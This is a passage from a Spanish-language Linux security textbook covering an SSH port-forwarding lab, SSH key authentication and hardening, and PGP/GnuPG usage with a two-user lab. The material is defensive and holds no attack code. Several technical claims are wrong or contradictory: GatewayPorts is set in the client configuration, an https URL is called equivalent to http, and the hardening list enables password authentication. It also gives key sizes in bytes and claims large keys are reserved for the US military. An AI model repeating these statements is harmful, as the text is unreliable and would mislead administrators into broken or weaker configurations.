lleguen al puerto 8080 hacia el puerto 80 de la mquina 2.

Prerrequisitos:
Se deben tener 3 PCs: Uno con Windows e Internet Explorer con el IP 192.168.100.55, este PC se har
pasar por el cliente windows. Un PC llamado maquina1 con IP 192.168.100.222 que ser el gateway y un
servidor o maquina2 con IP 192.168.100.223 que ser el servidor web que no usa SSL.

Paso 1:
En la maquina2 se sube el servicio apache con el comando:
# /etc/init.d/apache start
Para subir el servicio SSH se debe utilizar el comando:
# /etc/init.d/ssh start

Paso 2:
En el nodo maquina1 o servidor SSH gateway se edita el archivo /etc/ssh/ssh_config y se adiciona al final la
variable GatewayPorts yes
Ahora suba el servicio ssh con el comando /etc/init.d/ssh start.
Paso 3:
En el servidor gateway SSH se crea un shell en /etc/init.d/sshgateway.sh con las siguientes instrucciones
que hacen el tnel:
#!/bin/sh
ssh -N -T -C -L

8080:192.168.100.222:80 192.168.100.223

Donde:
-N indica no hacer comandos nicamente generar un tnel
-T indica no crear pseudo terminales asociadas a los procesos
-C Indica comprimir los datos para usar en forma optima el canal
-L Indica hacer reenvo de datos entre puertos e IPs

Paso 4:
Al ejecutar el shell /etc/init.d/sshgateway.sh el comando ssh pedir el password del usuario root que
controla el servidor principal donde reside el servicio SSH.
Para que se ejecute automticamente se hace un enlace al directorio de arranque as:
# ln -s /etc/init.d/sshgateway.sh

/etc/init.d/rc5.d/S99sshgateway.sh

Paso 5:
Desde el cliente Windows pruebe en el explorador digitando el URL https://192.168.100.222:8080

384

Parte III, Captulo 16 Cifrando servicios de red SSH

Que es equivalente a:
http://192.168.100.222:8080

385

Parte III, Captulo 16 Cifrando servicios de red SSH

Cuestionamientos

Los datos entre el cliente y el gateway estn cifrados?


Los datos entre el gateway ssh y el servidor apache estn cifrados?
Se podra asegurar cualquier servicio que transfiera datos en claro?

Tambin se quiere que el acceso va SSH para administrar el servidor web no se pueda realizar con
contrasea sino solamente con autenticacin basada en clave pblica.
Genere un par de claves RSA para usarlas en la autenticacin SSH, con la clave privada protegida con la
passphrase cliente, indique donde se debe copiar los archivos generados para permitir la conexin al
sistema como usuario knoppix y qu cambios se debe realizar al archivo de configuracin del servidor SSH
(p.e: /etc/ssh/sshd_config) para que la conexin solamente se pueda realizar con autenticacin de cliente
por clave pblica.
Respuesta:
El usuario knoppix existe en el servidor web.uoc.edu.co y en el cliente remoto, el usuario knoppix hace login
en su sistema linux cliente y se posiciona por defecto en la carpeta /home/knoppix.
Ahora para generar el par de llaves digita:
# ssh-keygen -t rsa
El sistema le propone crear la llave privada en el directorio /home/knoppix/.ssh/id_rsa, de inmediato le pide
dos veces la palabra secreta 'cliente' para la generacin de la llave privada. Adems genera la llave pblica y
muestra el fingerprint como el usuario@dominio de la maquina donde reside el usuario.
Al terminar el comando anterior, se nota que existe la carpeta .ssh y dentro de esta hay dos archivos: id_rsa
para la llave privada y como llave pblica el archivo id_rsa.pub
Por ejemplo esta es la salida de la llave pblica:
ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA3tn1U6TUsxvsuNf5GV9AYk9fP2fPFSQjoewptWevseCIIQ
sw+d0kSsrBl7HpFZTxSV8WVIxvXo9eQ1U4JCGhEbPXk7OylxFyogYGwg7GVMon7ifox68B2/2
2mkbR7lm9/YLmCz50YcI9GNyBJhKZFnyiZOgy7taj7T5vHEtoFJU= knoppix@cortafuegos2

Donde ssh-rsa indica el tipo de cifrado usado. Luego sigue la clave pblica y finalmente el usuario y su
dominio local donde se le genero la llave.
1.
2.
3.
4.
5.
6.

Las llaves deben existir en la carpeta .ssh del usuario respectivo.


Ademas el archivo /etc/ssh/sshd_config del servidor (web.uoc.edu.co) remoto debe contener las
siguientes variables:
RSAAuthentication
YES
PubkeyAuthentication
Yes
AuthorizedKeysFile .ssh/authorized_keys
PasswordAutehtication
no

Se debe copiar la llave pblica id_rsa.pub


/home/knoppix/.ssh/authorized_keys

al

servidor

386

remoto

(web.uoc.edu.co)

en

el

archivo

Parte III, Captulo 16 Cifrando servicios de red SSH

Finalmente se debe reiniciar el servicio ssh para que tome la nueva configuracin:
# /etc/init.d/sshd stop
# /etc/init.d/sshd start
Establezca una conexin SSH utilizando la clave anterior y capture los paquetes de la conexin con el
analizador de paquetes Ethereal. Indique qu paquetes se pueden ver en claro y cuales no.
En la maquina cliente linux se debe lanzar el ethereal:

# ethereal & y se pone a escuchar por la tarjeta de red que deseamos atrapar los paquetes. Por otra
Terminal se lanza el comando cliente para que se conecte al servidor:

# ssh 20.0.0.2, de inmediato el sistema pide el password de la llave privada del sistema remoto. Se le digita
'cliente' y permite continuar la sesin.

Conclusines: Mirando el trafico generado por ethereal se encuentra que se ve en claro solo la negociacin
inicial para el intercambio de llaves, esto aparece como los protocolos: SSH client y SSHv2 Server. No se
muestra informacin en claro cuando se termina el intercambio de llaves y esto aparece como el protocolo
SSHv2 Server Encrypted.

9.0

Blindaje/Remediacion del servicio de red SSH

Es altamente recomendable mantener con suplementos a la fecha el servidor SSH para evitar las
vulnerabilidades de tipo exploit de las versiones antiguas.
9.1 Remediacion
Ademas se debe asegurar que el servior SSH solamente soporte la versin 2, explicitamente se debe editar
el archivo de configuracin /etc/ssh/sshd_config y ajustar las siguientes variables:
Protocol
2
PasswordAuthentication
yes
ChallengeResponseAutehtication
no
GSSAPIAuthentication
no
GSSAPICleanupCredentials
yes
UsePAM
yes
X11Forwarding
yes
UseDNS
no
PermitRootLogin no
PermitEmptyPasswords no
Banner /etc/issue
IgnoreRhosts yes
RhostsAuthentication no
RhostsRSAAuthentication no
HostbasedAuthentication no
LoginGraceTime 1m
(O menos, el defecto es 2 minutos)
SyslogFacility AUTH
(logging con el detalle AUTH)
AllowUsers [lista de usuarios autorizados]
DenyUsers [lista de usuarios no autorizados]
MaxStartups 10 (O menos use 1/3 del total de usuarios remotos)
Nota: MaxStartups se refiere al maximo nmero de conexiones simultneas que an estan por verificar la
autenticacin. Esto ayuda a contrarestar ataques por fuerza bruta.

387

Parte III, Captulo 16 Cifrando servicios de red SSH

9.2 Instalando la ltima version


Generalmente los empaquetadores como Novell/SUSE, Redhat, CentOS, Debian, Ubuntu, etc actulizan los
paquetes a una o dos versiones mas atraz de la ultima version de cada desarrollo individual, es decir el
paquete openssh version x que existe para descargar en el sitio web del desarrollo principal no existe en los
empaquetadores mas conocidos, en sus portales existira la verdsion x-1, x-2 o hasta x-n pero rara vez
existira sincronismo engtrel aultima version del fabricante y la ultima version del empaquetador.
Estos son los pasos para descargar la ultima version no del empaquetador sino del fabricante:
Paso 1: Descargar la ultima version del sitio www.openssh.org en especial el formato comprimido mas
pequenio con extension bz2
Paso 2: Copie ese medio magnetico a la carpeta /tmp
# cd /tmp
Paso 3: Descomprimalo con la herramienta tar
# tar -xjvmf openssh-*
Paso 4: Cambiese a la carpeta del instalador
# cd /tmp/openssh-*
Paso 5: Prepare el compilador para 64 bits /lib64, 32 bits /lib
# ./configure --with-zlib=/lib64
Paso 6: Compile los programas fuentes hacia objetos
# make
Paso7 : Instalar los programas ejecutables en /usr/local
# make install
Paso 8: Copiar los archivos de configuracion del backup si aplica
# cp /etc/sshd/* /usr/local/etc
Paso 9: Suba el servicio
# /usr/local/sbin/sshd

388

Captulo 17
Cifrando Documentos con GNU PG

1.

PGP

PGP es el acrnimo de Pretty Good Privacy. Se trata de un programa para cifrar y descifrar datos el
cual ofrece tres tipos de servicio:

Confidencialidad:
Permite a un usuario, mediante cifrado, garantizar que
destinatario podr leer el mensaje.

Autentificacin: Permite a un usuario firmar un documento antes de enviarlo:

o
o

solamente el

Genera la certeza de que el documento original no ha sido modificado puesto que ha sido
firmado. Si se alterara el mensaje la firma no sera vlida.
Se puede constatar o verificar que el mensaje ha sido firmado por una determinada
persona.

Integridad: La firma antes mencionada tiene la particularidad de que depende no slo de la


identidad del remitente sino tambin del contenido del mensaje, por lo que si este es alterado, la
firma ya no es vlida.

389

Parte III, Captulo 17 Cifrando documentos con GNU PG

Adems se caracteriza entre otras cosas por:

El paquete PGP es de dominio pblico (existe una versin comercial distribuida por Pretty
Good Privacy, Inc).

PGP es asequible para una gran variedad de plataformas (DOS/Windows, UNIX, Mac, VMS
etc) e independiente del S.O.

Esta basado en algoritmos extremadamente seguros como: RSA para cifrado de claves de
sesin, IDEA y ElGamal para el cifrado del mensaje y MD5, HASH para la generacin de
firmas digitales.

El paquete incluye cdigo fuente y documentacin.

No ha sido desarrollado ni es controlado por ninguna organizacin gubernamental.

Bsicamente hablando, PGP funciona como un algoritmo del tipo de clave pblica asimtrica. En un
sistema de clave pblica, cada usuario crea un par de claves que consiste en una clave pblica y una
clave privada. Se puede cifrar un mensaje con la clave pblica y descifrarlo con la privada (NO se puede
cifrar y descifrar con la misma clave).

El usuario difunde la clave pblica, ponindola a disposicin de cualquiera que quiera enviarle un
mensaje. Una vez que el mensaje ha sido recibido por el usuario, ste podr descifrarlo con su clave
privada. Es evidente que la clave privada debe ser mantenida en secreto por el propietario.
Puede considerar este esquema como si fuese un buzn con dos llaves, una para abrir y otra para
cerrar. Cualquiera puede introducir un mensaje en el buzn y cerrarlo, pero solamente el propietario
podr abrirlo.
Una gran ventaja de este tipo de esquema criptogrfico es que, al contrario que los sistemas
tradicionales donde la clave de cifrado y descifrado coinciden, no es necesario encontrar un
procedimiento seguro para enviar la clave al recipiente del mensaje.
Tambin permite la opcin de "firmar" un mensaje con una firma digital que nadie, ni siquiera el
receptor, puede falsificar. Esto resulta especialmente til, aunque no se cifre el mensaje en s, porque
acta como certificacin de autenticidad, ya que permite comprobar si el mensaje ha sido alterado
durante la transmisin.
Tambin permite al receptor confirmar que el mensaje ha sido enviado realmente por el remitente.

390

Parte III, Captulo 17 Cifrando documentos con GNU PG

Para cifrar los datos, PGP se emplea un algoritmo de clave simtrica, cuya clave es cifrada con un
algoritmo de clave asimtrica. Por qu esta mezcla? Porque de este modo se combinan las mejores
propiedades de ambos: la seguridad de un algoritmo asimtrico (donde clave pblica y privada son
distintas) con la rapidez y robustez de un algoritmo simtrico (cuya clave es nica y, por tanto,
vulnerable).

Un tercer algoritmo se emplea para firmar documentos: se extrae un conjunto de bits del mensaje
llamado resumen (hash) y se cifra con la clave privada del emisor. As, el sistema de operacin de PGP
(y programas similares) consta de tres subsistemas: cifrado del documento, cifrado de clave simtrico y
firmado del documento.
La implementacin de PGP esta en desuso por las sospechas de puertas traseras y esta tomando mucha
fuerza el uso de GnuPG que se vera mas adelante.

2.

Instalacin y uso

2.1 PGP de Philip Zimmermann Versin Propietaria


Para Latinoamrica y otros pases diferentes a EEUU es recomendable bajar la versin 2.6.3 de tipo
internacional debido a que las versiones ms nuevas no bajan en forma completa. Siempre se
corrompen los archivos.
Se debe crear el directorio /var/lib/pgp y una vez haya bajado el programa, debe extraer los archivos
fuentes que se encuentran en formato tar:
Descomprimir el archivo:
# gunzip pgp263is.tar.gz
Obtener los fuentes:
# tar xvf pgp263is.tar
Generar el siguiente archivo que se deber extraer con el comando:

391

Parte III, Captulo 17 Cifrando documentos con GNU PG

# tar xvf pgp263ii.tar ( Fuentes )


Si ya se tienen en el directorio recomendado los fuentes, la compilacin puede hacerse por medio de los
siguientes comandos:
# cd src
# make linux
Si el comando make fue exitoso entonces debi crearse un ejecutable denominado pgp.
Es recomendable (para seguir los estndares) copiarlo al directorio /usr/bin.
Por defecto, PGP usa el directorio .pgp dentro del home directoy del usuario respectivo para cuando
necesita encontrar los anillos de llaves (key rings) y otros archivos de configuracin, entonces es bueno
crear este directorio para cada usuario con el comando:
#mkdir $HOME/.pgp
Dentro de los archivos de distribucin, hay uno llamado config.txt que tiene el propsito de configurar
algunos aspectos de PGP. Si se desea tener una configuracin personalizada, es recomendable mover
este archivo al directorio recientemente creado. Puede hacer lo mismo con los archivos language.txt y
es.hpl. Este ltimo es una ayuda personalizada para el lenguaje que utilice.
Se debe copiar el directorio /var/lib/pgp/doc en el subdirectorio .pgp de cada usuario de lo contrario pgp
no funcionar.

2.2 Open PGP

GnuPG es el acrnimo de GNU Privacy Guard


GnuPG es la versin que hoy mas se usa, a la fecha se pueden obtener en formato RPM para linux en el
site www.gnupg.org donde se encuentra la ltima versin que se puede instalar con el comando:
# rpm hUv gnupg-1.0.6-1.i386.rpm

392

Parte III, Captulo 17 Cifrando documentos con GNU PG

Si se desea instalar en formato tarbal, siga los siguientes pasos:


#
#
#
#
#
#
#

cd /tmp
bunzip2 gnupg-1.4.2.tar.bz2
tar xvmf gnupg-1.4.2.tar
cd gnupg-1.4.2
./configure
make
make install

Se recomienda reiniciar el servidor Linux.


GnuPG creara en cada directorio de usuario o HOME directory un directorio llamado .gpg, en este
directorio estar el anillo de llaves y sus llaves respectivas.

2.3.

Comandos comunes

2.3.1

Creacin de un par de llaves

Para empezar a utilizar PGP o GnuPG, debe crear su propio par de llaves la pblica y la privada, para
hacer esto, ejecute el siguiente comando:
# pgp kg
Enseguida, deber elegir el tamao mximo de la llave: 512, 768, 1024, 2048, 4096 bytes.
Entre mayor sea el tamao de la llave, mejor ser el nivel de seguridad obtenido, con el agravante de
una disminucin en la velocidad de encriptacin.
Se recomienda seleccionar 1024 bytes para los negocios en general. Existen llaves de mayor tamao,
pero por cuestiones legales estas solamente las utilizan las fuerzas armadas de EEUU.
En GNUpg el commando seria: # gpg --gen-key
Los tamaos posibles son: (1) DSA and El Gamal y es la opcin por defecto, (2) DSA Sign Only, (3)
RSA Sign only.
La opcin por defecto permite llaves desde 1024 hasta 4096 bytes en la ltima versin. Las opciones
DSA y RSA solo permiten firmar pero no encriptar.
El paso siguiente es definir una identificacin para su clave pblica user ID. Lo ms comn es escribir
su nombre seguido de un comentario y su direccin de correo:
Janneth Vallejo (Algun comentario) <janneth_vallejo@lacositarica.com.co>
En GNUpg: Le preguntar de su nombre, la direccin e-mail y un comentario para generar la cadena del
user ID.

393

Parte III, Captulo 17 Cifrando documentos con GNU PG

Luego de haber definido la identificacin de su llave pblica, deber elegir una contrasea con el fin de
proteger su llave privada. Elija una frase segura que incluya caracteres especiales, letras minsculas y
maysculas.
Finalmente, el programa le pedir que digite letras nmeros o smbolos de forma aleatoria para poder
generar una secuencia aleatoria de bytes que formar las claves. De esta manera, PGP crear las llaves
y se lo notificar con un mensaje.
En PGP las llaves se guardarn en el directorio .pgp en los archivos especiales pubring.pgp (Anillo con
las llaves pblicas) y secring.pgp (Anillo con las llaves privadas).
En GnuPG se guardarn en el directorio .gnupg en los archivos pubring.gpg (Anillo con las llaves
pblicas) y secring.gpg (Anillo con las llaves privadas).
Tanto la identificacin como la contrasea de las llaves pueden ser editadas o modificadas usando el
siguiente comando:
# pgp ke identificador [ anillo ] Es importante que la cadena que forma al identificador vaya entre
comillas dobles.
Por ejemplo pgp ke Armando Carvajal (lacositarica) <acarvaja@lacositarica.com.co>
En GNUpg: # gpg --edit-key acarvaja@lacositarica.com.co

2.3.2

Aadir (importar), exportar y quitar llaves a un anillo

Si usted tiene un archivo carlos.pgp que le envi su amigo carlos y este archivo contiene una llave
pblica y usted quiere adicionarla a uno de sus anillos para poderle enviar archivos a Carlos entonces
usted debe ejecutar el siguiente comando:
#pgp ka carlos.pgp
En GNUpg: # gpg --mport carlos.gpg
De la misma manera, si lo que desea es eliminar una llave entonces utilice el siguiente comando:
#pgp kr identificador [ anillo ]

394

Parte III, Captulo 17 Cifrando documentos con GNU PG

Si desea enviarle su llave pblica a un amigo para que el le enve archivos a usted, lo primero que debe
hacer es extraerla del anillo, esto puede hacerlo por medio del comando:
#pgp --kx identificador armando.pgp
En GNUpg: # gpg --output armando.gpg --export acarvaja@lacositarica.com.co
El archivo armando.pgp armando.gpg no son de tipo ASCII, por lo tanto, si queremos enviarlo por email, debe extraerse en formato ascii de la siguiente manera:
#pgp kxa identificador archivo [anillo] ( a = ASCII )
En GNUpg: # gpg --armor --output armando.asc --export acarvaja@lacositarica.com.co

Con frecuencia sucede que no recuerde que llaves tiene dentro de determinado anillo, este problema lo
resuelve ejecutando:
#pgp kv [ identificador ] [ anillo ]
#pgp kvv [ identificador ] [ anillo ] ( Tambin ver todos los certificados Para cada llave ).
En GNUpg: # gpg --list-keys

395

Parte III, Captulo 17 Cifrando documentos con GNU PG

Para enviar la clave pblica acarvaja.asc a un servidor de claves se utiliza el comando:


# gpg --send-keys --keyserver pgp.mit.edu acarvaja.asc
La clave no podr ser borrada pero si se puede revocar para que solamente permita comprobar firmas
realizadas en el pasado.
Una lista interesante de servidores se encuentra en la direccin: http://pgp.uni-mainz.de/bigbrother/
Para buscar una llave pblica se usa el comando:
# gpg --keyserver pgp.mit.edu --search-key Armando Carvajal
El commando mostrara una lista de llaves con sus respectivos ID
Para importar una clave directamente digite:
# gpg --keyserver pgp.mit.edu --recv-key ID

2.3.3

Firmar un mensaje

Obviamente la autenticidad es una caracterstica muy importante en el campo de la seguridad. PGP permite
el uso de firmas digitales las cuales dan al receptor la capacidad de verificar que el documento no ha sido
modificado y que realmente viene de su destinatario.
Supongamos que queremos enviar el documento Manual.doc a un amigo llamado Carlos Perez firmado con
mi firma secreta.
Como parte del identificador de la llave pblica del amigo Carlos es su nombre, entonces podemos adicionar
solamente el nombre para que pgp incruste en el archivo la llave pblica.
Es importante que primero el seor carlos le haya enviado su llave pblica y que usted la haya adicionado a
su anillo de llaves pblicas segn se explico en el paso anterior (pgp ka).
Un documento debe ser firmado con la llave privada de la siguiente manera:
#pgp s documento [ -u identificador ]

396

Parte III, Captulo 17 Cifrando documentos con GNU PG

La opcin [ -u identificador ] se usa generalmente cuando el usuario tiene varias llaves privadas, si
solamente se tiene una llave no hay necesidad de usarlo.
Siguiendo con el ejemplo, el documento Manual.doc se firmara de la siguiente manera:
#pgp s Manual.doc
Crendose de esta manera un archivo Manual.doc.pgp firmado.

En GNUpg: # gpg --output Manual.doc.sig --sign Manual.doc

397

Parte III, Captulo 17 Cifrando documentos con GNU PG

Es recomendable firmar con nuestra clave privada las llaves pblicas de las personas con quien compartimos
documentos, pero es obligatorio confirmar el fingerprint de esa llave pblica, para obtener el fingerprint
digite el comando:
# gpg --fingerprint ID o direccion de correo de la llave pblica
Para firmarla con el comando sign se debe editar la llave con el comando:
# gpg --edit-key ID

2.3.4

Encriptar un mensaje

Es importante que primero el seor Carlos le haya enviado su llave pblica o que usted la haya obtenido de
un servidor publico de llaves como pgp.mit.edu segn se explic en el paso anterior.
# pgp e documento identificador
# pgp e Manual.doc carlos
Este comando genera un archivo de nombre Manual.doc.pgp el cual contiene el documento Manual.doc
encriptado de tal manera que solo Carlos podr desencriptarlo con su llave privada, ya que se ha usado su
llave pblica.
En GNUpg: # gpg output Manual.doc.gpg encrypt recipient carlos@tutopia.com Manual.doc

398

Parte III, Captulo 17 Cifrando documentos con GNU PG

2.3.5

Desencriptar un mensaje

Finalmente, existen varias formas para desencriptar un mensaje:


Desencriptar un documento y comprobar la firma.
# pgp documento_entrada
# pgp Manuales.pgp
En GNUpg: # gpg output Manual.doc decrypt Manual.doc.sig
Al desencriptar un documento y se desea que su salida se realice en la salida estandar:

# pgp m documento
# pgp m Manuales.pgp
Al desencriptar un mensaje firmado, conservar la firma para envos posteriores.
# pgp d Manuales.pgp

399

Parte III, Captulo 17 Cifrando documentos con GNU PG

2.0

Recopilacin de comandos PGP formato antiguo:

Comando pgp ?
-kg
-ke identificador [anillo]
-ka millave [anillo]
-kr identificador [anillo]
-kx identificador [anillo]
-kxa identificador [anillo]
-kv identificador [anillo]
-kvv identificador [anillo]
-e documento identificador
-ea documento identificador
-eaw documento identificador
-s documento
-sb documento
-m documento
-d

Funcin
Crear un par de llaves.
Edicin de identificacin y contraseas.
Adicionar llaves a un anillo.
Eliminar llaves de un anillo.
Extraer una llave.
Extraer una llave (salida en ASCII).
Ver las llaves contenidas en un anillo.
Ver las llaves y el certificado de cada una de ellas.
Encriptar un documento (Devuelve archivo .pgp).
Encriptar un documento (salida en ASCII).
Encriptar el documento y borrar el original.
Firmar un documento con su llave privada (autenticidad).
Crear un documento que solo contenga su firma.
La salida del documento se hace en el directorio actual.
Desencriptar un mensaje y consevar la firma.

4. Trucos
Evitando problemas entre diferentes plataformas
Frecuentemente se usa PGP para encriptar el correo electrnico, que normalmente es texto.
Un problema con el texto es la representacin que toma en diferentes mquinas: en MS-DOS las lneas
terminan en un retorno de carro y en un avance de lnea, en Macintosh en un retorno de lnea y en Linux
solo con avance de lnea.
Para evitar esta clase de inconvenientes, se recomienda que en el momento de encriptar un documento, se
le haga saber a PGP que este un archivo de texto y no uno binario, y que al descomprimirlo se adapte a las
caractersticas especficas del sistema donde se est ejecutando.
Esto se logra mediante el comando:

400

Parte III, Captulo 17 Cifrando documentos con GNU PG

# pgp t documento identificador


# pgp sta Manuales.doc carlos (-s = Firmar; -a = ascii )

PGP en shells
Existen algunas opciones que son tiles a la hora de automatizar el trabajo.

Batchmode: Es til cuando se quiere comprobar la firma de un documento de manera automtica.

# pgp +batchmode documento

Force: Est opcin forza a determinado comando para que se realice, as ante una pregunta de
sobreescritura de un documento o eliminacin de una llave la respuesta ser si.

# pgp +force +kr carlos


De esta manera eliminar sin hacer preguntas adicionales la llave que contenga la cadena carlos del anillo
pubring.pgp.

Durante el proceso de encriptacin de un documento, PGP solicita la contrasea de la llave privada.


Para evitar que esto suceda, puede dejar indicada la contrasea en la variable de entorno PGPPASS,
as, cuando se lleve a cabo dicho proceso, PGP tomar la contrasea desde la variable y usted no tendr
que hacer nada mas.
# PGPPASS = contrasea
# export PGPPASS
# pgp s Manuales.doc carlos

Otra manera de pasar la contrasea a PGP es especificndola en el momento mismo de ejecutar el comando
de encriptacin:

Pgp s Manuales.doc janneth z contrasea"

5. GNUPG para windows


Frecuentemente se cree que en Windows debe ser difcil usar GNUPG y esto no es cierto. Existe una
herramienta llamada GnuPG 4 Windows con las mismas funcionalidades de la versin para Linux.
El ejecutable se llama gpg4win-0.6.0.exe y al instalarlo le mostrara las siguientes pantallas:

Para descargarlo: http://www.gpg4win.org

401

Parte III, Captulo 17 Cifrando documentos con GNU PG

Esto nos indica que la licencia es GNU.

En esta pantalla se muestran los componentes ms usados que se instalan por defecto.

402

Parte III, Captulo 17 Cifrando documentos con GNU PG

Despus de mostrar el sitio en el disco donde se instalara por defecto mostrara la barra de estado de la
instalacin.

Al iniciar el Outlook de Microsoft se vera a mano derecha un llavero con 3 llaves en forma grafica. Al hacer
clic sobre ese icono se podrn generar las llaves o importar desde alguna carpeta.

403

Parte III, Captulo 17 Cifrando documentos con GNU PG

Estos son los datos solicitados si le ordenamos generar un par de claves.

Si deseamos explorar en el disco duro y tomar algn documento para firmarlo o para cifrarlo solo abrimos el
explorador y con el botn derecho aparecen las siguientes opciones:

404

Parte III, Captulo 17 Cifrando documentos con GNU PG

Es muy recomendable usar esta herramienta.

405

Parte III, Captulo 17 Cifrando documentos con GNU PG

6.0

Laboratorio: GnuPG

Objetivo:

Instalar, Configurar, cifrar, descifrar documentos, firmar y leer documentos con GnuPG

Usar dos usuarios en la misma maquina Linux para simular dos usuarios que intercambian
informacin cifrada.
Prerrequisitos:

Se asume que no hay acceso a Internet y que se esta ejecutando un Linux autnomo e
independiente de la maquina tipo LIVECD como Back track, Auditor o Knoppix-std.

Se puede bajar la ltima versin desde el sitio http://www.gnupgp.org y copiarla en el directorio


/tmp, debe instalarse con los siguientes comandos:
#
#
#
#
#
#
#

cd /tmp
bunzip2 gnupg-1.4.2.tar.bz2
tar xvmf gnupg-1.4.2.tar
cd gnupg-1.4.2
./configure
make
make install

Se recomienda reiniciar el servidor Linux si el sistema Linux esta instalado en un servidor, no se


debe reiniciar si es un LiveCD.

Pasos obligatorios que se deben seguir:

CREACION DE USUARIOS:
Paso 1: Se crea un nuevo usuario llamado knoppix con el comando:
# useradd m knoppix
Se le asigna un password con el comando:
# passwd knoppix
Con la secuencia de teclas CTRL-ALT-F1 se abre otra ventana y se hace login con el usuario knoppix
Nota: Siempre el usuario knoppix estar en la Terminal virtual CTRL-ALT-F1

GENERACION DE LLAVES PBLICAS


Paso 2: En la ventana de modo grafico siempre estar el usuario root. La secuencia de teclas CTRLALT-F7 me posicionara en la pantalla del usuario root en modo grafico:
Ahora se genera el par de claves del usuario root:
# gpg --gen-key
Nota: Por ser la ltima versin GnuPG 1.4.2 el algoritmo DSA y Elgamal usan tamaos entre 1024 y
4096 bits, se recomienda elegir el tamao ms grande.

Paso 3: Se exporta la clave pblica del usuario root para enviarla a usuarios que le deseen enviar
documentos cifrados:
# gpg --export a Armando Carvajal > acarvaja.asc
La opcin a indica que la clave exportada se debe ver en ASCII, se debe digitar parte de la clave
para que no todas las llaves se exporten, el parmetro Armando Carvajal es parte del nombre de
la clave que se desea exportar. El parmetro acarvaja.asc es el nombre del archivo donde quedara
la clave pblica.

406

Parte III, Captulo 17 Cifrando documentos con GNU PG

Paso 4: Ahora se debe enviar la clave pblica a un servidor, pero si no se tiene acceso a Internet no
se puede usar el comando:
# gpg --send-keys --keyserver pgp.mit.edu acarvaja.asc
Es importante indicar el nombre del archivo de lo contrario todas las claves pblicas que tenga el
anillo se enviaran al servidor.
Al no tener acceso a Internet se usara el directorio /tmp que es publico como repositorio de datos, y
se copia el archivo acarvaja.asc al directorio /tmp:
# cp v acarvaja.asc /tmp
Paso 5: Ahora se hacen los mismos pasos para el usuario knoppix:
En la ventana del usuario knoppix se genera el par de claves:
# gpg --gen-key
Paso 6: Se exporta la clave pblica del usuario knoppix para enviarla a usuarios que le deseen
enviar documentos cifrados, por ejemplo hacia acarvaja para hacer este laboratorio que simula dos
usuarios:
# gpg --export a Usuario Knoppix > knoppix.asc
La opcin a indica que la clave exportada se debe ver en ASCII, se debe digitar parte de la clave
para que no todas las llaves se exporten, el parmetro Usuario Knoppix es parte del nombre de la
clave que se desea exportar. El parmetro knoppix.asc es el nombre del archivo donde quedara la
clave pblica.

Paso 7: Ahora se debe enviar la clave pblica a un servidor, pero al no tener acceso a Internet no
podemos usar el comando:
# gpg --send-keys --keyserver pgp.mit.edu knoppix.asc
Es importante indicar el nombre del archivo para que no todas las claves pblicas que tenga el anillo
se enven al servidor.
Al no tener acceso a Internet se usara el directorio /tmp que es publico para todos los usuarios del
servidor, se debe copiar el archivo knoppix al directorio /tmp:
# cp -v knoppix.asc /tmp

Paso 8: Usuario knoppix debe Importar las claves de los usuarios a quienes deseamos enviar
documentos seguros:
El usuario knoppix copia la clave pblica desde el directorio /tmp para importarla al anillo de llaves
# gpg --import /tmp/acarvaja.asc
Al no tener acceso a Internet no se puede usar el comando para importar desde el web:
# gpg --keyserver pgp.mit.edu --recv-key codigo_clave

Paso 9: El usuario knoppix revisa el estado de su anillo de llaves


# gpg list-keys
El usuario knoppix ve dos llaves la del usuario acarvaja y la del mismo knoppix.
/home/knoppix/.gnupg/pubring.gpg
--------------------------------

407

Parte III, Captulo 17 Cifrando documentos con GNU PG

pub 1024D/63C3A0B0 2005-12-27


uid
Usuario Knoppix (Pruebas uoc.edu) <knoppix@mvaonline.com>
sub 1024g/C4688847 2005-12-27
pub 1024D/DB138581 2005-12-26
uid
Armando Enrique Carvajal Rodriguez (System Engineer)
<acarvaja@mvaonline.com>
sub 1024g/EAF42D31 2005-12-26

Paso 10: Usuario acarvaja debe Importar las claves de los usuarios a quienes deseamos enviar
documentos seguros: (Debe cambiar de sesin!)
El usuario acarvaja copia la clave pblica desde el directorio /tmp para importarla al anillo de llaves
# gpg --import /tmp/knoppix.asc
Al no tener acceso a Internet no se puede usar el comando para importar desde el web:
# gpg --keyserver pgp.mit.edu --recv-key codigo_clave

Paso 11: El usuario acarvaja revisa el estado de su anillo de llaves


# gpg --list-keys
El usuario acarvaja ve dos llaves la del usuario knoppix, el resto de llaves de root (acarvaja) y la del
mismo acarvaja.
/root/.gnupg/pubring.gpg
-----------------------pub 1024D/17625190 2005-12-27
uid
Armando Enrique Carvajal Rodriguez (System Engineer)
<acarvaja@mvaonline.com>
sub 1024g/31B37504 2005-12-27
pub 1024D/6499ADCC 2005-12-27
uid
Usuario Knoppix (Pruebas uoc.edu) <knoppix@mvaonline.com>
sub 1024g/302BC681 2005-12-27
En general los sistemas Linux ya poseen llaves para la actualizacin de suplementos y esto lo tienen
para el usuario root nicamente.

ENVIO DE TEXTO CIFRADO


Paso 12: El usuario acarvaja enviara un texto cifrado al usuario knoppix que nicamente el usuario
knoppix podr leer por que nicamente el tiene la clave privada, el texto es el siguiente y esta en el
archivo texto.asc, se debe crear este archivo:
Este es un texto ultra secreto creado por Armando Carvajal y que se le enviara al usuario knoppix
basados en la llave pblica de knoppix.
Solo debe ser leido por el usuario knoppix quien debe tener la clave privada con la que se genero la
llave pblica usada por los usuarios que desean enviar informacin cifrada a knoppix.
Firma
ROOT (Armando Carvajal)

# gpg --output /tmp/texto.gpg --encrypt --recipient knoppix a /tmp/texto.asc


El parmetro a indica que el texto debe quedar en formato ASCII, ahora GnuPG informara que la
llave pblica 302BC681 del usuario knoppix no es confiable, esto se debe a que no hemos firmado

408

Parte III, Captulo 17 Cifrando documentos con GNU PG

con nuestra clave privada esa llave pblica para hacerla de confianza. El sistema espera una
respuesta afirmativa para cifrar el texto.
El archivo cifrado es el siguiente:
-----BEGIN PGP MESSAGE----Version: GnuPG v1.4.2 (GNU/Linux)
hQEOA9e2QXwwK8aBEAP+IIo01rrHStGIEzvCQ4Oez3fVskWZl/rlNntccMLTbPHq
wREwBV0m/169I3GqfIoj52EJNnjwHi3bCUOjCsRFQ6ZxmT9t1IgGJLS3UxmI/nYF
GHJfn66/XhvRnnFOcsNixKJFeQ3Fc4QSbwbEpHg1q1R3BBmIvCQ1YymDWc/eOSAE
AMpJxNaNSgyoBeV6sFMiR04eFAv3RR5rWGzSRI4H9208R4WwZO6Z2dMYTwXNewZg
